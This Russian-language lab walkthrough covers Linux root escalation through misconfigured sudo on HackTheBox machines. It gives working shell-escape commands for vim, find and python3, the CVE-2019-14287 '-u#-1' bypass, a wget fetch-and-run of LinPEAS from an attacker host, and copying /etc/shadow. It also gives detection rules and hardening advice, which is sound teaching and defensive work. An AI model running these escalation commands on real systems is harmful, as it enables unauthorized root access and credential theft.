Эксплуатация неправильно настроенного sudo: HTB-прохождение по методологии WAPT

На трёх из пяти последних учебных машин HackTheBox повышение привилегий до root занимало меньше минуты — через одну строку в /etc/sudoers. Ни kernel-эксплоитов, ни сложных цепочек: команда sudo -l, поиск бинарника в GTFOBins, root-шелл. Звучит слишком просто? Именно так это и работает — и именно поэтому мисконфигурация sudo остаётся одним из самых частых векторов в реальных инцидентах. Ниже — полный разбор этой цепочки по шагам методологии WAPT, от первой команды после получения шелла до флага и рекомендаций для отчёта.

Повышение привилегий Linux через sudo: зачем это знать пентестеру

Sudo (substitute user do) — утилита Linux, которая запускает команды от имени другого пользователя, обычно root. Root — суперпользователь с неограниченным доступом ко всему на машине. Администратор описывает разрешения в файле /etc/sudoers: кому, какие команды и от чьего имени можно запускать. Когда правила написаны слишком широко — пентестер получает прямой путь к полному контролю над системой.

В MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1548 — её идентификаторы) эксплуатация sudo описана как техника T1548.003 «Sudo and Sudo Caching» в рамках тактики Privilege Escalation. Ключевой момент: атакующий не ломает систему — он использует легитимный механизм. EDR (Endpoint Detection and Response — агент, мониторящий подозрительную активность на хосте) в большинстве случаев молчит, потому что технически выполняется разрешённая команда штатной утилитой. Для защитников это головная боль: как отличить админа, который правит конфиг через vim, от атакующего, который через тот же vim выпрыгивает в root-шелл?

Привязка к WAPT (Web Application Penetration Testing — методика тестирования безопасности, применяемая в одноимённом курсе Codeby): после получения initial access и первого шелла наступает фаза privilege escalation. WAPT задаёт последовательность: enumeration (разведка) → identification (определение вектора) → exploitation (эксплуатация) → post-exploitation (документирование результатов). Ниже каждый шаг разобран на конкретных командах.

Анализ sudo -l: enumeration привилегий на целевой машине

Перед эксплуатацией нужно понять, какие sudo-права есть у текущего пользователя. Это первое действие после получения шелла — вся дальнейшая цепочка зависит от вывода одной команды.

Предпосылки: интерактивный шелл на Linux-хосте (например, reverse shell через эксплуатацию веб-уязвимости или подобранные SSH-credentials). Root-доступ не нужен — подойдёт любой пользователь.

Основная команда — sudo -l. Она показывает, какие команды текущий пользователь может выполнять через sudo и на каких условиях: нужен ли пароль, от чьего имени разрешено запускать. Типичный вывод на учебной HTB-машине:

User webadmin may run the following commands on target:
    (ALL) NOPASSWD: /usr/bin/vim
    (ALL) NOPASSWD: /usr/bin/find
    (ALL, !root) NOPASSWD: /usr/bin/python3

Как читать каждую строку:

• (ALL) — команду можно запускать от имени любого пользователя, включая root
• (ALL, !root) — от имени любого пользователя, кроме root. Но это ограничение не всегда работает — подробности ниже, в разделе о CVE-2019-14287
• NOPASSWD — пароль не потребуется
• Путь после двоеточия — конкретный бинарник, доступный через sudo

Если видите (ALL) NOPASSWD: ALL — пользователь может выполнить любую команду как root без пароля. Мгновенный root через sudo su или sudo /bin/bash. Но чаще встречается ограниченный список утилит, и задача — найти среди них ту, через которую можно получить root-шелл.

Автоматизация разведки. На HTB-машинах часто используют LinPEAS (Linux Privilege Escalation Awesome Script) — скрипт, собирающий информацию о потенциальных векторах повышения привилегий. Алгоритм: скачать на целевую машину через wget http://<ваш_IP>:8000/linpeas.sh с атакующего хоста, затем chmod +x linpeas.sh && ./linpeas.sh. LinPEAS подсвечивает sudo-права красным и жёлтым — это первый раздел, на который стоит смотреть. LinEnum делает примерно то же, но с менее наглядным выводом.

GTFOBins и эксплуатация sudo: от вывода sudo -l к root-шеллу

Не каждый бинарник в выводе sudo -l даёт root-шелл. Нужно определить, какой из них позволяет запустить произвольную команду или породить интерактивную оболочку.

GTFOBins (gtfobins.github.io) — онлайн-справочник стандартных Unix-утилит, через которые можно обходить ограничения безопасности. Для каждого бинарника справочник показывает конкретную команду эксплуатации — бери и вставляй в терминал.

Алгоритм identification (определения вектора):

1. Берёте список бинарников из вывода sudo -l
2. Открываете GTFOBins и ищете каждый из них
3. Переходите в раздел «Sudo» — там готовая команда для получения root

Бинарники, которые чаще всего дают root через sudo на учебных машинах:

Если бинарника нет в GTFOBins — он, скорее всего, безопасен для privilege escalation. Но кастомные скрипты в sudoers иногда содержат уязвимости: подстановка путей (path injection), аргументы без фильтрации, вызов других утилит без абсолютного пути. Такие штуки GTFOBins не покроет — придётся разбираться руками.

Получение root через sudo: делай раз, делай два, делай три

Предпосылки: Kali Linux или любая атакующая ОС с шелл-доступом к целевому хосту. Пользователь, от имени которого работаете, присутствует в выводе sudo -l с пометкой NOPASSWD.

Сценарий: vim в sudoers. Допустим, sudo -l показывает строку (root) NOPASSWD: /usr/bin/vim.

Делай раз. Выполните sudo vim -c ':!/bin/sh'. Команда запускает vim от имени root и сразу через флаг -c выполняет встроенную vim-команду :!, которая порождает внешний процесс /bin/sh. Результат — интерактивный шелл root.

Делай два. Проверьте результат: выполните whoami. Ожидаемый вывод — одно слово: root. Если видите имя прежнего пользователя — перепроверьте синтаксис и убедитесь, что в sudoers стоит (ALL) или (root), а не имя другого непривилегированного пользователя.

Делай три. Заберите доказательство. На HTB root-флаг лежит в /root/root.txt — выполните cat /root/root.txt и скопируйте хеш.

Для find — команда sudo find . -exec /bin/sh \; -quit создаёт шелл через параметр -exec; точка (.) — текущая директория, которая всегда существует, поэтому -exec гарантированно сработает. Для python3 — sudo python3 -c 'import os; os.system("/bin/sh")' вызывает системный шелл, наследующий root-привилегии от sudo.

Механизм во всех случаях один: бинарник, запущенный через sudo от имени root, умеет порождать дочерний процесс, и этот процесс наследует UID 0 (root). Неважно, vim это, find или python — если утилита может вызвать /bin/sh, игра окончена.

CVE в sudo: уязвимости в коде, а не в конфигурации

Не все атаки на sudo связаны с мисконфигурацией sudoers. Иногда уязвим сам бинарник, и тогда даже «правильная» конфигурация не спасает.

CVE-2019-14287: обход запрета !root через user ID -1

Суть: в sudo до версии 1.8.28 атакующий с sudoers-правилом (ALL, !root) мог обойти запрет, указав user ID -1 (или unsigned-эквивалент 4294967295). Sudo не проверял корректность переданного ID и транслировал -1 в UID 0 — root. По классификации CWE-755 — некорректная обработка исключительных условий. Администратор думал, что исключил root. Sudo думал иначе.

CVSS: 8.8 (HIGH). Разбор вектора: AV:N — атака возможна по сети (достаточно SSH-доступа к машине), AC:L — низкая сложность, PR:L — нужны минимальные привилегии (любой sudo-пользователь), UI:N — без участия жертвы.

Когда работает: в sudoers присутствует строка вида user ALL=(ALL, !root) NOPASSWD: ALL. Команда sudo -u#-1 /bin/sh (эквивалентно sudo -u#$((0xffffffff)) /bin/sh — оба варианта передают unsigned UID 4294967295, который sudo транслирует в 0) обходит запрет. Публичный эксплоит — EDB-47502 на Exploit-DB.

EPSS (динамическая оценка вероятности от 0 до 1, что уязвимость будут эксплуатировать в ближайшие 30 дней; значение пересчитывается): 0.6376, перцентиль 99.22 — Top 1% среди всех CVE в базе. На HTB этот вектор встречается на машинах с намеренно устаревшей версией sudo. Проверка: sudo --version. Если ниже 1.8.28 и в sudoers есть конструкция !root — вектор рабочий.

Sigma-правила (универсальный формат правил детекции, конвертируемый в формат конкретного SIEM — Splunk, Elastic, QRadar): lnx_sudo_exploit_cve_2019_14287.yml и proc_creation_lnx_exploit_cve_2019_14287.yml ищут аргумент -u#-1 в командной строке sudo. Патчи: Debian — DSA-4543-1, Ubuntu — USN-4154-1, Red Hat — RHSA-2019:3755.

CVE-2025-32463: chroot как путь к получению root

Суть: в sudo версий 1.9.14–1.9.17 опция --chroot (-R) позволяла подменить файл /etc/nsswitch.conf (конфигурация, указывающая системе, откуда брать данные о пользователях и группах) внутри подконтрольного chroot-окружения. Sudo читал подменённый файл при оценке политики и выполнял произвольный код с правами root. CWE-829 — включение функциональности из недоверенной управляющей сферы.

CVSS: 9.3 (CRITICAL). Разбор вектора: AV:L — локальная атака, AC:L — низкая сложность, PR:N — привилегии не нужны, UI:N — без участия пользователя, S:C — scope changed (воздействие выходит за пределы security scope уязвимого компонента sudo, атакующий получает полный root-доступ к системе). Обратите внимание на PR:N: даже пользователь без sudo-прав мог эксплуатировать эту уязвимость — достаточно создать специальную директорную структуру и вызвать sudo с флагом -R.

Уязвимость включена в каталог CISA KEV (Known Exploited Vulnerabilities — список уязвимостей, которые УЖЕ эксплуатируются в реальных атаках). EPSS: 0.5550, перцентиль 99.04 — тоже Top 1%. Публичные PoC-эксплоиты собрали сотни звёзд на GitHub (pr0v3rbs/CVE-2025-32463_chwoot — 532 звезды, kh4sh3i/CVE-2025-32463 — 474). По данным UVCyber, уязвимость активно эксплуатировалась до выхода патча.

Исправление: обновить sudo до версии 1.9.17p1, где chroot-функция полностью удалена. Патчи: Ubuntu (USN-7604-1), Debian (DSA-5954-1), Red Hat (RHSA-2025:11537).

Параллельно раскрыта CVE-2025-32462 (CVSS 2.8, LOW, CWE-863 — некорректная авторизация) — обход host-based проверок в sudoers при определённых сетевых конфигурациях. Менее критична, но показывает системную проблему: судя по CVE-2024-37081, затронувшему VMware vCenter Server (CVSS 7.8, HIGH, CWE-556), мисконфигурация sudo — проблема не только учебных стендов, а вполне себе продакшен-инфраструктуры.

Privilege escalation и post-exploitation: закрытие цепочки пентеста Linux

На HTB после получения root-шелла задача — забрать флаг. В реальном пентесте — задокументировать полную цепочку для отчёта.

Зачем злоумышленнику sudo-мисконфигурация в продакшене? Это самый быстрый и тихий путь к root. Нет подозрительных бинарников, нет эксплоитов ядра — штатный механизм системы. После root атакующий отключает логирование, ставит бэкдор, крадёт credentials и двигается по сети (lateral movement). По данным IBM X-Force, 70% атак затрагивают критическую инфраструктуру — и часто именно повышение привилегий через мисконфигурации становится ключевым звеном цепочки.

Шаги post-exploitation по WAPT:

• Доказательства: скриншот вывода id и whoami, копия /etc/shadow (файл с хешами паролей — доступен только root)
• Проверка persistence: crontab -l от root, содержимое /root/.ssh/authorized_keys, полный файл /etc/sudoers
• Рекомендации для отчёта: включить конкретную строку sudoers, вызвавшую проблему; рекомендовать убрать NOPASSWD для интерактивных утилит; заменить vim/find/python в sudoers на специализированные обёртки с фиксированными аргументами; обновить sudo до актуальной версии

Детекция эксплуатации sudo: что видит blue team

Blue team (команда защиты) должна не только знать про атаку, но и уметь её ловить. Вот конкретный инструмент.

Из Elastic Security — EQL-запрос (Event Query Language — язык корреляции событий в Elastic) для обнаружения CVE-2019-14287:

process where host.os.type == "linux"
  and event.type == "start"
  and process.name == "sudo"
  and (process.args == "-u#-1" or process.args == "-u#4294967295")

Если SOC использует Elastic Stack — правило добавляется в detection rules без модификации. Оно ловит запуск sudo с аргументом -u#-1 или -u#4294967295 на Linux-хостах и генерирует алерт с severity HIGH (risk score 73). Убедитесь, что правило покрывает все эквивалентные формы записи UID.

Помимо конкретных CVE, защитные меры описывает D3FEND (MITRE-фреймворк контрмер, маппинг ATT&CK → защитные техники):

Sigma-правило file_event_lnx_persistence_sudoers_files.yml ловит модификацию файлов sudoers — признак закрепления через изменение sudo-конфигурации. Для мониторинга в рамках Atomic Red Team (публичный набор тестов MITRE ATT&CK) доступны три теста для T1548.003: проверка базового использования sudo, симуляция на FreeBSD и тест на unlimited sudo cache timeout. Последний важен отдельно: отключение tty_tickets и увеличение timestamp_timeout позволяют атакующему выполнять sudo-команды без повторного ввода пароля — фактически бессрочный sudo-кэш.

Практический минимум для администратора: регулярный аудит /etc/sudoers на наличие NOPASSWD в связке с интерактивными утилитами (vim, less, python); обновление sudo до актуальной версии (≥1.9.17p1); централизованное логирование всех sudo-команд через syslog с ретеншеном не менее 90 дней.

Основная масса учебных материалов по privilege escalation в Linux акцентирует kernel-эксплоиты и сложные цепочки. На практике — и на HTB, и в продакшене — root через мисконфигурацию sudo занимает секунды, если знаешь, что искать в выводе sudo -l. Проблема не в сложности атаки, а в том, что администраторы продолжают писать NOPASSWD: ALL, потому что «так удобнее для автоматизации». CVE-2025-32463 с CVSS 9.3, попавшая в CISA KEV с активной эксплуатацией, показала: даже при правильной конфигурации sudoers сам бинарник может подвести — и пространства для «потом обновим» не остаётся. Я ожидаю, что в ближайший год всплывут новые критические CVE в sudo: утилита слишком сложна для своего уровня привилегий, а темп аудита кода отстаёт от числа реализованных фич. IB Basics — для тех, кому скучно от Hack The Box без объяснений, почему техника сработала.